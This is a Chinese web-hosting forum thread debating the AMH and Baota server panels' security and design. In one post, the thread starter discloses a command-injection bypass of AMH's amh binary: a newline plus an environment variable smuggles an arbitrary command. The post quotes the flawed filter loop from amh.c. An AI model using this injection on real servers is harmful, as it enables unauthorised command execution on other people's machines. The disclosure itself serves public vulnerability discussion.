全球主机交流论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

CeraNetworks网络延迟测速工具IP归属甄别会员请立即修改密码
楼主: haozi

聊一聊AMH所谓“轻量”及问题

[复制链接]
发表于 2024-10-23 23:17:21 | 显示全部楼层
haozi 发表于 2024-10-23 20:56
宝塔正常很难利用的,整个面板都是600权限,你这个有可能是被提权了。

所以话不能说太满。默认网站权限都是770.只要cms漏洞够大就会整个机器沦陷。。
 楼主| 发表于 2024-10-23 23:22:33 | 显示全部楼层
本帖最后由 haozi 于 2024-10-23 23:25 编辑
trips 发表于 2024-10-23 23:17
所以话不能说太满。默认网站权限都是770.只要cms漏洞够大就会整个机器沦陷。。 ...


真不会,这一般只有内核漏洞或者PHP漏洞可能做到(提权/绕过防跨站),除非你网站php改成用root用户跑了。
 楼主| 发表于 2024-10-23 23:44:08 | 显示全部楼层
本帖最后由 haozi 于 2024-10-26 13:29 编辑
Amysql 发表于 2024-10-23 23:01
amh就是最适合跑lnmp、lamp的,
面板不用php的话,还是要跑别的程序环境,
加上phpmyadmin这些常用程序,还 ...


第一条认同,确实是最适合的。
第二条,nginx、php这些都没有进程守护,挂掉了面板就打不开了,可以自行去服务器上kill掉nginx试试。
第三条,以宝塔为例nginx炸了并不会影响面板,但是amh支持多nginx这是优点。
第四条不认同,以宝塔为例nginx配置均为600权限,不可能随意读取写入,另外不说给600,起码该给644吧,随便都能往nginx配置目录写配置文件进去,也太离谱了。
第五条指的是chroot吧,开那个确实可以规避前面提的一切问题,但不影响这些问题的客观存在,另外amh默认也没开chroot和open_basedir,连php禁用函数都是空的。

附amh命令行注入的绕过,其他的直接file get content、file put content对应文件,shell exec("cd /usr/local/amh-7.1/web && amh xxx")就完事了,不值一提。
export "A=ls -l"
amh amh-7.1 admin exit '
${A}'
A环境变量设置任意命令即可。
漏洞原因是amh.c中的过滤不完整:
for (k = 1; k < argc; k++)
        {
                i = 0;
                char cmd_row[2048];
                strcpy(cmd_row, argv[k]);
                int cmd_row_len = (int)strlen(cmd_row);
                for (; i < cmd_row_len; i++)
                        if (cmd_row == ' ' || cmd_row == '`' || cmd_row == ';' || cmd_row == '&' || cmd_row == '|' || cmd_row == '(') cmd_row = '_';
                strcpy(argv[k], cmd_row);
        }
PS:这论坛防火墙把命令全拦截了,只能这样了。
发表于 2024-10-24 00:50:32 来自手机 | 显示全部楼层
看大佬打架 都是好事 大家选择面板机会更多
发表于 2024-10-24 01:09:10 | 显示全部楼层
haozi 发表于 2024-10-23 23:44
第一条认同,确实是最适合的。
第二条,nginx、php这些都没有进程守护,挂掉了面板就打不开了,可以自行 ...

第二条同意,我曾经就遇到过nginx挂掉导致AMH面板打不开
发表于 2024-10-24 01:23:03 | 显示全部楼层
提权就拉倒吧,不用root跑基本问题都不大,顶多加加料挖挖矿,用面板的人还指望会加suid么,笑
发表于 2024-10-24 10:01:59 | 显示全部楼层
大部分说的都对。
发表于 2024-10-24 10:48:06 | 显示全部楼层
华盛顿 发表于 2024-10-23 19:20
突然想起来,当时你发布 耗子面板 的时候,不是一堆人吐槽这个名字吗,
你也很坚持啊,
跟AMH  UI  的坚持 ...

哈哈哈,看来 每个人都有很奇怪的坚持
哈哈哈哈
发表于 2024-10-24 12:01:26 | 显示全部楼层
神仙打架,不明觉厉
发表于 2024-10-24 12:36:52 | 显示全部楼层
大佬是耗子面板的创始人吗?
创建网站的时候能不能直接可以选择创建或者不创建对应的数据库?小白嫌麻烦
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|全球主机交流论坛

GMT+8, 2024-11-3 03:29 , Processed in 0.060836 second(s), 5 queries , Gzip On, MemCache On.

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表